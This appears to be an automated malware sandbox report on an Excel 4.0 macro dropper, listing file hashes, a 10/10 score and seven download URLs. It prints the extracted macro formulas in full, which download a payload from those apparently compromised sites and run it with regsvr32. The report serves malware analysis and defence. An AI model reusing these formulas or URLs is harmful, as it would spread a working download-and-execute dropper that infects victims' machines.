General

  • Target

    a3b3d1579fb1784dc854bb7e38b8acdd92c8e2806f82035084261fb7af3796dc

  • Size

    35KB

  • Sample

    241120-ktjceavepq

  • MD5

    ef70bf98c43c7de723f2cfb0d89ff94c

  • SHA1

    733216bf2b742891b7c185888906f0e471b01ef7

  • SHA256

    a3b3d1579fb1784dc854bb7e38b8acdd92c8e2806f82035084261fb7af3796dc

  • SHA512

    26bf65acbbde7fad0e5b21052281b2d91d9c73a84c0e107a3aa043e09a37b77d455f057bfb7da156085cf26c081cc5dbbd7fe104120b1b8e8dfead19a781c808

  • SSDEEP

    768:/rtDp5eCAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooNQ3:/rtlgCUOZZ1ZYpoQ/pMAIY

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://fikti.bem.gunadarma.ac.id/monon/OAH7XngpmWiT1vLkmP/

https://brutobrasil.com.br/pdf/SSscCUKBvL/

https://mdmd.fun/wp-includes/Y00y/

https://appanwendung.com/wp-admin/dvDn7/

https://hotel-boehmerwaldhof.at/wp-admin/mmhZydbNdqVxzc/

https://camaravotuporanga.sp.gov.br/conteudo/LFT3r6eLqdvHvD/

https://dnvqqk.cn/about/fW4aBbnaoOIDwjmpuqf/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://fikti.bem.gunadarma.ac.id/monon/OAH7XngpmWiT1vLkmP/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://brutobrasil.com.br/pdf/SSscCUKBvL/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mdmd.fun/wp-includes/Y00y/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://appanwendung.com/wp-admin/dvDn7/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://hotel-boehmerwaldhof.at/wp-admin/mmhZydbNdqVxzc/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://camaravotuporanga.sp.gov.br/conteudo/LFT3r6eLqdvHvD/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dnvqqk.cn/about/fW4aBbnaoOIDwjmpuqf/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://fikti.bem.gunadarma.ac.id/monon/OAH7XngpmWiT1vLkmP/

xlm40.dropper

https://brutobrasil.com.br/pdf/SSscCUKBvL/

xlm40.dropper

https://mdmd.fun/wp-includes/Y00y/

xlm40.dropper

https://appanwendung.com/wp-admin/dvDn7/

xlm40.dropper

https://hotel-boehmerwaldhof.at/wp-admin/mmhZydbNdqVxzc/

xlm40.dropper

https://camaravotuporanga.sp.gov.br/conteudo/LFT3r6eLqdvHvD/

xlm40.dropper

https://dnvqqk.cn/about/fW4aBbnaoOIDwjmpuqf/

Targets

    • Target

      a3b3d1579fb1784dc854bb7e38b8acdd92c8e2806f82035084261fb7af3796dc

    • Size

      35KB

    • MD5

      ef70bf98c43c7de723f2cfb0d89ff94c

    • SHA1

      733216bf2b742891b7c185888906f0e471b01ef7

    • SHA256

      a3b3d1579fb1784dc854bb7e38b8acdd92c8e2806f82035084261fb7af3796dc

    • SHA512

      26bf65acbbde7fad0e5b21052281b2d91d9c73a84c0e107a3aa043e09a37b77d455f057bfb7da156085cf26c081cc5dbbd7fe104120b1b8e8dfead19a781c808

    • SSDEEP

      768:/rtDp5eCAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooNQ3:/rtlgCUOZZ1ZYpoQ/pMAIY

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks